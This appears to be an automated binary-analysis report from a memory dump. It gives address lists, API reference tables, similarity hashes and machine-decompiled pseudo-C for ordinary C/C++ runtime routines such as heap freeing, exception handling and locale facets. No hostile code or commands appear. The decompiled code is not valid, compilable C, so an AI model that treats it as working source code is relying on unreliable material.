0x004bc7f6
0x004bc7f7
0x004bc7f8
0x004bc7f9
0x004bc7ff
0x004bc801
0x004bc804
0x004bc830
0x004bc830
0x004bc830
0x004bc835
0x004bc806
0x004bc806
0x004bc809
0x004bc80f
0x004bc814
0x004bc817
0x004bc819
0x00000000
0x004bc81b
0x004bc81d
0x004bc820
0x004bc822
0x004bc83e
0x004bc840
0x004bc824
0x004bc824
0x004bc826
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc826
0x004bc822
0x00000000
0x004bc828
0x004bc828
0x004bc82b
0x004bc82b
0x00000000
0x004bc809
0x004bc837
0x004bc83d
0x00000000
0x00000000
0x00000000
0x004bc7c5
0x00000000
0x004bc7c7
0x004bc7c7
0x004bc7ca
0x004bc7ca
0x00000000
0x004bc7ce
0x004bc77d
0x004bc74e
0x004bc74e
0x004bc7da
0x004bc7de
0x004bc7de
0x004bc6f5
0x004bc6fe
0x004bc706
0x004bc70a
0x004bc711
0x004bc717
0x004bc719
0x004bc71b
0x004bc720
0x004bc720
0x004bc723
0x004bc723
0x00000000
0x004bc719
0x004bc6f3
0x004bc6e0
0x004bc6b8
0x004bc619
0x004bc572
0x004bc572
0x004bc575
0x004bc5a6
0x004bc5a6
0x004bc5a8
0x004bc5b8
0x004bc5bd
0x004bc5c2
0x004bc5c8
0x004bc5cb
0x004bc5cd
0x00000000
0x004bc5cf
0x004bc5cf
0x004bc5d5
0x00000000
0x004bc5d7
0x004bc5e1
0x004bc5e6
0x004bc5eb
0x004bc5ee
0x004bc5f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc5f4
0x004bc5d5
0x004bc5aa
0x004bc5aa
0x00000000
0x004bc5aa
0x004bc577
0x004bc577
0x004bc57d
0x00000000
0x004bc57f
0x004bc57f
0x004bc584
0x004bc586
0x004bc5f6
0x004bc5f6
0x004bc5fc
0x004bc5fc
0x004bc5fe
0x004bc593
0x004bc593
0x004bc593
0x004bc596
0x004bc597
0x004bc59e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc586
0x004bc57d
0x004bc575
0x004bc56c
0x004bc53c
0x004bc515
0x004bc515
0x004bc51a
0x004bc520
0x004bc5a1
0x004bc5a5
0x004bc5a5
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 004BC52C
_free.LIBCMT ref: 004BC597
_free.LIBCMT ref: 004BC5BD
_free.LIBCMT ref: 004BC5E6
_free.LIBCMT ref: 004BC61E
_free.LIBCMT ref: 004BC64F
_free.LIBCMT ref: 004BC690
_free.LIBCMT ref: 004BC72A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 9a0761fde9f03fae805ee7746c9f6f7a76f1b335c1ab5561470eed756c41ce26
Instruction ID: fc82f5a7fd1d7989b0451a0589fba1854a25a80a3e7f81647df149d4884ec29b
Opcode Fuzzy Hash: 9a0761fde9f03fae805ee7746c9f6f7a76f1b335c1ab5561470eed756c41ce26
Instruction Fuzzy Hash: 40614971904311AFDB34AF7688C1AEB7BA4AF15314F4401AFF9009B342DA79A9018BBD

Uniqueness

Uniqueness Score: -1.00%

Function 004A0D00, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004A0D00(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				intOrPtr _t82;
				signed int _t85;
				char _t87;
				intOrPtr _t91;
				intOrPtr* _t92;
				signed int _t99;
				signed int _t100;
				intOrPtr _t103;
				intOrPtr _t106;
				signed int _t108;
				void* _t111;
				void* _t112;
				void* _t118;

				_t79 = _a4;
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E004C4352(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t106 = _t6;
				_push(_t106);
				_v20 = _t106;
				_v12 =  *(_t80 + 8) ^  *0x4eb018;
				E004A0CC0( *(_t80 + 8) ^  *0x4eb018);
				E004A222C(_a12);
				_t56 = _a4;
				_t112 = _t111 + 0x10;
				_t103 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t103 - 0xfffffffe;
					if(_t103 != 0xfffffffe) {
						E004A23E0(_t80, 0xfffffffe, _t106, 0x4eb018);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t103 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t85 = _v12;
							_t63 = _t103 + (_t103 + 2) * 2;
							_t82 =  *((intOrPtr*)(_t85 + _t63 * 4));
							_t64 = _t85 + _t63 * 4;
							_t86 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t87 = _v5;
								goto L7;
							} else {
								_t65 = E004A2390(_t86, _t106);
								_t87 = 1;
								_v5 = 1;
								_t118 = _t65;
								if(_t118 < 0) {
									_v16 = 0;
									L13:
									_push(_t106);
									E004A0CC0(_v12);
									goto L14;
								} else {
									if(_t118 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x404578;
											if(__eflags != 0) {
												_t75 = E004C3C30(__eflags, 0x404578);
												_t112 = _t112 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t108 =  *0x404578; // 0x4a1196
													 *0x4f02b4(_a4, 1);
													 *_t108();
													_t106 = _v20;
													_t112 = _t112 + 8;
												}
												_t66 = _a4;
											}
										}
										E004A23C4(_a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t103;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t103) {
											E004A23E0(_t68, _t103, _t106, 0x4eb018);
											_t68 = _a8;
										}
										_push(_t106);
										 *((intOrPtr*)(_t68 + 0xc)) = _t82;
										E004A0CC0(_v12);
										E004A23A8();
										asm("int3");
										_t70 = _v40;
										_t91 = _v36;
										__eflags = _t70 - _t91;
										if(_t70 != _t91) {
											_t92 = _t91 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t99 =  *_t71;
												__eflags = _t99 -  *_t92;
												if(_t99 !=  *_t92) {
													break;
												}
												__eflags = _t99;
												if(_t99 == 0) {
													goto L24;
												} else {
													_t100 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t100 -  *((intOrPtr*)(_t92 + 1));
													if(_t100 !=  *((intOrPtr*)(_t92 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t92 = _t92 + 2;
														__eflags = _t100;
														if(_t100 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t103 = _t82;
						} while (_t82 != 0xfffffffe);
						if(_t87 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x004a0d07
0x004a0d0c
0x004a0d12
0x004a0d1e
0x004a0d20
0x004a0d26
0x004a0d26
0x004a0d2f
0x004a0d31
0x004a0d34
0x004a0d37
0x004a0d3f
0x004a0d44
0x004a0d47
0x004a0d4a
0x004a0d51
0x004a0dad
0x004a0db0
0x004a0dbf
0x00000000
0x004a0dbf
0x00000000
0x004a0d53
0x004a0d53
0x004a0d59
0x004a0d5f
0x004a0d65
0x004a0dd0
0x004a0dd9
0x004a0d67
0x004a0d67
0x004a0d67
0x004a0d6d
0x004a0d70
0x004a0d73
0x004a0d76
0x004a0d79
0x004a0d7e
0x004a0d94
0x00000000
0x004a0d80
0x004a0d82
0x004a0d87
0x004a0d89
0x004a0d8c
0x004a0d8e
0x004a0da4
0x004a0dc4
0x004a0dc4
0x004a0dc8
0x00000000
0x004a0d90
0x004a0d90
0x004a0dda
0x004a0ddd
0x004a0de3
0x004a0de5
0x004a0dec
0x004a0df3
0x004a0df8
0x004a0dfb
0x004a0dfd
0x004a0dff
0x004a0e0c
0x004a0e12
0x004a0e14
0x004a0e17
0x004a0e17
0x004a0e1a
0x004a0e1a
0x004a0dec
0x004a0e22
0x004a0e27
0x004a0e2a
0x004a0e2d
0x004a0e39
0x004a0e3e
0x004a0e3e
0x004a0e41
0x004a0e45
0x004a0e48
0x004a0e58
0x004a0e5d
0x004a0e61
0x004a0e64
0x004a0e67
0x004a0e69
0x004a0e6f
0x004a0e72
0x004a0e72
0x004a0e75
0x004a0e75
0x004a0e77
0x004a0e79
0x00000000
0x00000000
0x004a0e7b
0x004a0e7d
0x00000000
0x004a0e7f
0x004a0e7f
0x004a0e82
0x004a0e85
0x00000000
0x004a0e87
0x004a0e87
0x004a0e8a
0x004a0e8d
0x004a0e8f
0x00000000
0x004a0e91
0x00000000
0x004a0e91
0x004a0e8f
0x004a0e85
0x00000000
0x004a0e7d
0x004a0e93
0x004a0e95
0x004a0e95
0x004a0e99
0x004a0e6b
0x004a0e6b
0x004a0e6b
0x004a0e6e
0x004a0e6e
0x004a0d92
0x00000000
0x004a0d92
0x004a0d90
0x004a0d8e
0x00000000
0x004a0d97
0x004a0d97
0x004a0d99
0x004a0da0
0x00000000
0x004a0da2
0x00000000
0x004a0da0
0x004a0d65
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 004A0D37
___except_validate_context_record.LIBVCRUNTIME ref: 004A0D3F
_ValidateLocalCookies.LIBCMT ref: 004A0DC8
__IsNonwritableInCurrentImage.LIBCMT ref: 004A0DF3
_ValidateLocalCookies.LIBCMT ref: 004A0E48

Strings

csm, xrefs: 004A0DDD

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: bfae582a951fb672c263695b91f8167b884e87247806ae16ade4d86b9c8f63fb
Instruction ID: a42adac0b47f7876aebff84c758353745039ee7ce7b8fd4aa8a543e889740863
Opcode Fuzzy Hash: bfae582a951fb672c263695b91f8167b884e87247806ae16ade4d86b9c8f63fb
Instruction Fuzzy Hash: BC41F931A00208ABCF10DF69C884A9F7FB1EF56314F14816BE8146B392C779AA15CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00492967, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00492967(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				void* _t34;
				signed int _t38;
				signed int _t39;
				intOrPtr _t47;
				intOrPtr _t49;
				void* _t50;
				intOrPtr* _t51;
				intOrPtr _t52;
				signed int _t53;
				void* _t63;
				intOrPtr _t66;
				void* _t67;
				void* _t71;

				_t71 = __eflags;
				_t52 = __ecx;
				_push(0x30);
				E0049D90B(0x4d6da8, __edi, __esi);
				_t49 = _t52;
				 *((intOrPtr*)(_t67 - 0x10)) = _t49;
				_t32 = E00489787(_t67 - 0x3c);
				_t50 = _t49 + 0x2c;
				_t53 = 0xb;
				memcpy(_t50, _t32, _t53 << 2);
				_t34 = E004A5AB9();
				_t66 =  *((intOrPtr*)(_t67 - 0x10));
				_t63 = _t34;
				 *((intOrPtr*)(_t67 - 0x10)) = _t66;
				 *((intOrPtr*)(_t66 + 8)) = 0;
				 *((intOrPtr*)(_t66 + 0x10)) = 0;
				 *((intOrPtr*)(_t66 + 0x14)) = 0;
				 *((intOrPtr*)(_t66 + 0x18)) = 0;
				_push(_t50);
				_push(0);
				 *((intOrPtr*)(_t67 - 4)) = 0;
				 *((intOrPtr*)(_t66 + 8)) = E004302EE(_t63, _t66, _t67, _t71,  *((intOrPtr*)(_t63 + 0x1c)));
				E0049276F(_t66, 0, _t63);
				if( *((char*)(_t66 + 0x28)) == 0) {
					_t38 =  *((intOrPtr*)(_t63 + 0x29));
				} else {
					_t38 =  *((intOrPtr*)(_t63 + 0x28));
				}
				_t39 = _t38;
				 *(_t66 + 0x1c) = _t39;
				if(_t39 < 0 || _t39 >= 0x7f) {
					 *(_t66 + 0x1c) =  *(_t66 + 0x1c) & 0x00000000;
				}
				_t20 = _t66 + 0x20; // 0x20
				_t51 = _t20;
				E00493C84(_t66, _t51,  *((char*)(_t63 + 0x2b)),  *((char*)(_t63 + 0x2a)),  *((char*)(_t63 + 0x2e)));
				_t24 = _t66 + 0x24; // 0x24
				_t47 = E00493C84(_t66, _t24,  *((char*)(_t63 + 0x2d)),  *((char*)(_t63 + 0x2c)),  *((char*)(_t63 + 0x2f)));
				if( *((char*)(_t67 + 0xc)) != 0) {
					_t47 = 0x76782b24;
					 *_t51 = 0x76782b24;
					 *((intOrPtr*)(_t66 + 0x24)) = 0x76782b24;
				}
				return E0049D8D4(_t47);
			}

0x00492967
0x00492967
0x00492967
0x0049296e
0x00492973
0x00492975
0x0049297c
0x00492981
0x00492988
0x0049298b
0x0049298d
0x00492992
0x00492995
0x00492999
0x0049299c
0x0049299f
0x004929a2
0x004929a5
0x004929a8
0x004929a9
0x004929ad
0x004929b8
0x004929c0
0x004929c9
0x004929d0
0x004929cb
0x004929cb
0x004929cb
0x004929d3
0x004929d6
0x004929db
0x004929e2
0x004929e2
0x004929ea
0x004929ea
0x004929fb
0x00492a04
0x00492a15
0x00492a1e
0x00492a20
0x00492a25
0x00492a27
0x00492a27
0x00492a2f

APIs

__EH_prolog3.LIBCMT ref: 0049296E
__Getcvt.LIBCPMT ref: 0049297C

Part of subcall function 004302EE: _strlen.LIBCMT ref: 004302F4

_Getvals.LIBCPMT ref: 004929C0
_Mpunct.LIBCPMT ref: 004929FB
_Mpunct.LIBCPMT ref: 00492A15

Strings

$+xv, xrefs: 00492A20

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Mpunct$GetcvtGetvalsH_prolog3_strlen
String ID: $+xv
API String ID: 3651146260-1686923651
Opcode ID: f4d19e44bb3f8f729105b92bc8e9b40253ebc7d2e2f39def98527a28a416bb50
Instruction ID: b4e95e44012cd49fa6c3d61354664531fb46d18531c6c7f87413b91ff46614af
Opcode Fuzzy Hash: f4d19e44bb3f8f729105b92bc8e9b40253ebc7d2e2f39def98527a28a416bb50
Instruction Fuzzy Hash: F521C4B1904B516EDB25DF75889073BBEF8AB09304F04496FE499C7A42D778EA01CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004BD7D6, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004BD7D6(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E004BD51D(_t45, 7);
					E004BD51D(_t45 + 0x1c, 7);
					E004BD51D(_t45 + 0x38, 0xc);
					E004BD51D(_t45 + 0x68, 0xc);
					E004BD51D(_t45 + 0x98, 2);
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa0)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa4)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa8)));
					E004BD51D(_t45 + 0xb4, 7);
					E004BD51D(_t45 + 0xd0, 7);
					E004BD51D(_t45 + 0xec, 0xc);
					E004BD51D(_t45 + 0x11c, 0xc);
					E004BD51D(_t45 + 0x14c, 2);
					E004B2FCF( *((intOrPtr*)(_t45 + 0x154)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0x158)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0x15c)));
					return E004B2FCF( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x004bd7dc
0x004bd7e1
0x004bd7ea
0x004bd7f5
0x004bd800
0x004bd80b
0x004bd819
0x004bd824
0x004bd82f
0x004bd83a
0x004bd848
0x004bd856
0x004bd867
0x004bd875
0x004bd883
0x004bd88e
0x004bd899
0x004bd8a4
0x00000000
0x004bd8b4
0x004bd8b9

APIs

Part of subcall function 004BD51D: _free.LIBCMT ref: 004BD546

_free.LIBCMT ref: 004BD824

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BD82F
_free.LIBCMT ref: 004BD83A
_free.LIBCMT ref: 004BD88E
_free.LIBCMT ref: 004BD899
_free.LIBCMT ref: 004BD8A4
_free.LIBCMT ref: 004BD8AF

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: be821af3cec7c42125fadd012f3e195aede0362c300babedc8f069374784c5e4
Instruction ID: 1de44639f9dc7f38dc944381fc3a262a6698af6d5ab753183e87371803ba3bea
Opcode Fuzzy Hash: be821af3cec7c42125fadd012f3e195aede0362c300babedc8f069374784c5e4
Instruction Fuzzy Hash: 6C1181B1940B04BAD531B7B2CC07FDBB7AC5F0870CF80085FB29D66152EA6DB5149A74

Uniqueness

Uniqueness Score: -1.00%

Function 00482DFE, Relevance: 9.1, APIs: 6, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00482DFE() {
				signed int _t61;
				void* _t66;
				signed int _t82;
				intOrPtr* _t83;
				intOrPtr _t94;
				signed int _t102;
				void* _t105;
				signed int _t118;
				void* _t119;
				void* _t123;
				signed int _t124;
				signed int _t125;
				void* _t126;
				void* _t131;
				void* _t132;
				void* _t133;

				_push(0x10);
				E0049D93F(0x4c4f82, _t123, _t126);
				_t94 =  *((intOrPtr*)(_t132 + 8));
				E00488DEA(_t132 - 0x18, 0);
				 *(_t132 - 4) =  *(_t132 - 4) & 0x00000000;
				_t124 =  *0x4ef4cc;
				 *(_t132 - 0x1c) = _t124;
				_t61 = E0042B315(_t94, E0042B22E(0x4ed914, _t124, _t126, _t133));
				_t127 = _t61;
				if(_t61 != 0) {
					L6:
					 *(_t132 - 4) =  *(_t132 - 4) | 0xffffffff;
					E00488E42(_t132 - 0x18);
					return E0049D8E9(_t127, _t124, _t127);
				} else {
					if(_t124 == 0) {
						_push(_t94);
						_push(_t132 - 0x1c);
						_t66 = E0043CF65(_t124, _t127, __eflags);
						_pop(_t102);
						__eflags = _t66 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							E0049D9AD(0x4d5adb, _t124, _t127);
							_t125 = _t102;
							 *(_t132 - 0x1c) = _t125;
							 *((intOrPtr*)(_t132 - 0x30)) =  *((intOrPtr*)(_t132 + 8));
							 *(_t132 - 0x18) = 0;
							_push(0);
							_push(_t125);
							E00431B36(_t132 - 0x38, _t127, __eflags);
							 *(_t132 - 4) = 0;
							__eflags =  *(_t132 - 0x34);
							if( *(_t132 - 0x34) != 0) {
								 *(_t132 - 4) = 1;
								 *(_t132 - 4) = 2;
								_t131 =  *((intOrPtr*)( *_t125 + 4)) + _t125;
								 *((intOrPtr*)(_t132 - 0x24)) = 0;
								 *((char*)(_t132 - 0x20)) = 1;
								 *((char*)(_t132 - 0x1f)) = 0;
								_t82 =  *(_t131 + 0x38);
								 *(_t132 - 0x2c) = _t82;
								__eflags = _t82;
								 *((char*)(_t132 - 0x28)) = __eflags == 0;
								 *((char*)(_t132 - 0x27)) = 0;
								_t83 = E00433006(_t125, _t131, __eflags);
								 *((intOrPtr*)( *_t83 + 0x2c))(_t132 - 0x48,  *(_t132 - 0x2c),  *((intOrPtr*)(_t132 - 0x28)),  *((intOrPtr*)(_t132 - 0x24)),  *((intOrPtr*)(_t132 - 0x20)), _t131, _t132 - 0x18,  *((intOrPtr*)(_t132 - 0x30)), E0042B7A4( *((intOrPtr*)( *_t125 + 4)) + _t125), _t132 - 0x40);
								 *(_t132 - 4) = 1;
								E0042B2E4(_t132 - 0x40);
								 *(_t132 - 4) = 0;
							}
							_t105 =  *((intOrPtr*)( *_t125 + 4)) + _t125;
							_push(0);
							_t119 = 4;
							__eflags =  *(_t105 + 0x38);
							_t120 =  !=  ? 0 : _t119;
							_t121 = ( !=  ? 0 : _t119) |  *(_t105 + 0xc) |  *(_t132 - 0x18);
							_push(( !=  ? 0 : _t119) |  *(_t105 + 0xc) |  *(_t132 - 0x18));
							E0042B73A(_t105, ( !=  ? 0 : _t119) |  *(_t105 + 0xc) |  *(_t132 - 0x18), _t125,  *(_t105 + 0xc) |  *(_t132 - 0x18));
							_t54 = _t132 - 4;
							 *_t54 =  *(_t132 - 4) | 0xffffffff;
							__eflags =  *_t54;
							E0043119F();
							return E0049D8FA(_t125, _t125,  *(_t105 + 0xc) |  *(_t132 - 0x18));
						} else {
							_t127 =  *(_t132 - 0x1c);
							 *(_t132 - 0x14) = 0;
							 *(_t132 - 0x14) = _t127;
							 *(_t132 - 4) = 1;
							E0048919D(_t127);
							 *((intOrPtr*)( *_t127 + 4))();
							 *0x4ef4cc = _t127;
							 *(_t132 - 0x1c) = 0;
							E0042FDE0(_t132 - 0x14, _t132 - 0x1c);
							 *(_t132 - 4) = 0;
							_t118 =  *(_t132 - 0x14);
							__eflags = _t118;
							if(_t118 != 0) {
								 *((intOrPtr*)( *_t118))(1);
							}
							goto L6;
						}
					} else {
						_t127 = _t124;
						goto L6;
					}
				}
			}

0x00482dfe
0x00482e05
0x00482e0a
0x00482e12
0x00482e17
0x00482e20
0x00482e26
0x00482e31
0x00482e36
0x00482e3a
0x00482e9a
0x00482e9a
0x00482ea1
0x00482ead
0x00482e3c
0x00482e3e
0x00482e47
0x00482e48
0x00482e49
0x00482e4f
0x00482e50
0x00482e53
0x00482eae
0x00482eb3
0x00482ebb
0x00482ec0
0x00482ec2
0x00482ec8
0x00482ecd
0x00482ed0
0x00482ed1
0x00482ed5
0x00482eda
0x00482edd
0x00482ee0
0x00482ee6
0x00482efb
0x00482f04
0x00482f06
0x00482f09
0x00482f0d
0x00482f10
0x00482f13
0x00482f16
0x00482f18
0x00482f1c
0x00482f1f
0x00482f41
0x00482f44
0x00482f4b
0x00482f50
0x00482f50
0x00482f8e
0x00482f96
0x00482f99
0x00482f9c
0x00482f9f
0x00482fa2
0x00482fa4
0x00482fa5
0x00482faa
0x00482faa
0x00482faa
0x00482fb1
0x00482fbd
0x00482e55
0x00482e55
0x00482e5a
0x00482e5d
0x00482e60
0x00482e65
0x00482e6f
0x00482e75
0x00482e7f
0x00482e83
0x00482e8a
0x00482e8d
0x00482e90
0x00482e92
0x00482e98
0x00482e98
0x00000000
0x00482e92
0x00482e40
0x00482e40
0x00000000
0x00482e40
0x00482e3e

APIs

__EH_prolog3_GS.LIBCMT ref: 00482E05
std::_Lockit::_Lockit.LIBCPMT ref: 00482E12

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00482E65
std::_Lockit::~_Lockit.LIBCPMT ref: 00482EA1
Concurrency::cancel_current_task.LIBCPMT ref: 00482EAE
__EH_prolog3_catch_GS.LIBCMT ref: 00482EBB

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3_catch_Register
String ID:
API String ID: 2139927958-0
Opcode ID: 6fa427285ec418c5199dfef394dcfec773d638439d51e7d2bbbf2e8237c4b72c
Instruction ID: 50febd9b041eb97a28526f49fe3040effd6539bd35b47a8f129d838c57dbac5a
Opcode Fuzzy Hash: 6fa427285ec418c5199dfef394dcfec773d638439d51e7d2bbbf2e8237c4b72c
Instruction Fuzzy Hash: 1551CF71E00219DFCF05EFA5C985AEEBBB4EF48314F14406EE515A7292CB789E01CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00437AF5, Relevance: 9.1, APIs: 6, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437AF5(void* __edi, void* __esi, void* __eflags, intOrPtr _a8, intOrPtr _a12, void _a16) {
				signed int _v4;
				char _v8;
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr* _t61;
				void* _t66;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t83;
				intOrPtr _t85;
				signed int _t87;
				signed int _t90;
				intOrPtr _t105;
				signed int _t106;
				signed int _t108;
				intOrPtr* _t115;
				signed int _t116;
				intOrPtr _t121;
				signed int _t131;
				signed int _t133;
				signed int _t137;
				signed int _t138;
				signed int _t140;
				intOrPtr* _t143;
				void* _t146;
				signed int _t149;
				void* _t152;

				_t152 = __eflags;
				_push(0x10);
				E0049D93F(0x4c4f82, __edi, __esi);
				_t105 = _a8;
				E00488DEA( &_v24, 0);
				_v4 = _v4 & 0x00000000;
				_t137 =  *0x4ef480;
				_v28 = _t137;
				_t61 = E0042B315(_t105, E0042B22E(0x4ef528, _t137, __esi, _t152));
				_t142 = _t61;
				if(_t61 != 0) {
					L6:
					_v4 = _v4 | 0xffffffff;
					E00488E42( &_v24);
					return E0049D8E9(_t142, _t137, _t142);
				} else {
					if(_t137 == 0) {
						_push(_t105);
						_push( &_v28);
						_t66 = E00437DAC(_t137, _t142, __eflags);
						_pop(_t115);
						__eflags = _t66 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							E0049D976(0x4c6361, _t137, _t142);
							_t143 = _t115;
							asm("cdq");
							_t116 = 0x18;
							_t106 = (_a8 -  *_t143) / _t116;
							_t74 =  *((intOrPtr*)(_t143 + 4)) -  *_t143;
							asm("cdq");
							_t75 = _t74 / _t116;
							_t133 = _t74 % _t116;
							_v28 = _t75;
							__eflags = _t75 - 0xaaaaaaa;
							if(_t75 == 0xaaaaaaa) {
								E0042E45E(_t116, _t146);
								asm("int3");
								_push(_t146);
								_push(0xffffffff);
								_push(0x4c637c);
								_push( *[fs:0x0]);
								_push(_t143);
								_push(_t137);
								_t78 =  *0x4eb018; // 0x6027d6a0
								_push(_t78 ^ _t149);
								 *[fs:0x0] =  &_v8;
								_t138 = _t133;
								__eflags = _a16 - _t138;
								_t82 =  <  ? _a16 : _t138;
								_t83 = E0049FC6A(_t116, _a12,  <  ? _a16 : _t138);
								__eflags = _t83;
								if(_t83 == 0) {
									__eflags = _a8 - _t138;
									if(_a8 <= _t138) {
										asm("sbb eax, eax");
										_t83 =  ~_t83;
									} else {
										_t83 = _t83 | 0xffffffff;
									}
								}
								 *[fs:0x0] = _v16;
								return _t83;
							} else {
								_t85 = E00437E76(_t143, _t75 + 1);
								_v24 = _t85;
								_push(_t85);
								_t140 = E004376F1();
								_v36 = _t140;
								_t108 = _t106 * 0x18 + _t140;
								_t33 = _t108 + 0x18; // 0x18
								_t87 = _t33;
								_v32 = _t87;
								_v20 = _t87;
								_v4 = _v4 & 0x00000000;
								E0042CE90(_t108, _a12);
								_v20 = _t108;
								_t134 =  *((intOrPtr*)(_t143 + 4));
								_t121 =  *_t143;
								__eflags = _a8 -  *((intOrPtr*)(_t143 + 4));
								if(__eflags != 0) {
									_push(_t143);
									_push(_t140);
									E004380AB(_t121, _a8, _t140, _t143, __eflags);
									_v20 = _t140;
									_t134 =  *((intOrPtr*)(_t143 + 4));
									_t121 = _a8;
									_t46 = _t108 + 0x18; // 0x18
									_t90 = _t46;
								} else {
									_t90 = _t140;
								}
								_push(_t143);
								_push(_t90);
								E004380AB(_t121, _t134, _t140, _t143, __eflags);
								_v4 = _v4 | 0xffffffff;
								__eflags = _v28 + 1;
								E00437E2D(_t143, _t140, _v28 + 1, _v24);
								return E0049D8D4(_t108);
							}
						} else {
							_t142 = _v28;
							_v20 = 0;
							_v20 = _t142;
							_v4 = 1;
							E0048919D(_t142);
							 *((intOrPtr*)( *_t142 + 4))();
							 *0x4ef480 = _t142;
							_v28 = 0;
							E0042FDE0( &_v20,  &_v28);
							_v4 = 0;
							_t131 = _v20;
							__eflags = _t131;
							if(_t131 != 0) {
								 *((intOrPtr*)( *_t131))(1);
							}
							goto L6;
						}
					} else {
						_t142 = _t137;
						goto L6;
					}
				}
			}

0x00437af5
0x00437af5
0x00437afc
0x00437b01
0x00437b09
0x00437b0e
0x00437b17
0x00437b1d
0x00437b28
0x00437b2d
0x00437b31
0x00437b91
0x00437b91
0x00437b98
0x00437ba4
0x00437b33
0x00437b35
0x00437b3e
0x00437b3f
0x00437b40
0x00437b46
0x00437b47
0x00437b4a
0x00437ba5
0x00437baa
0x00437bb2
0x00437bb7
0x00437bbe
0x00437bc1
0x00437bc4
0x00437bc9
0x00437bcb
0x00437bcc
0x00437bcc
0x00437bce
0x00437bd1
0x00437bd6
0x00437c7e
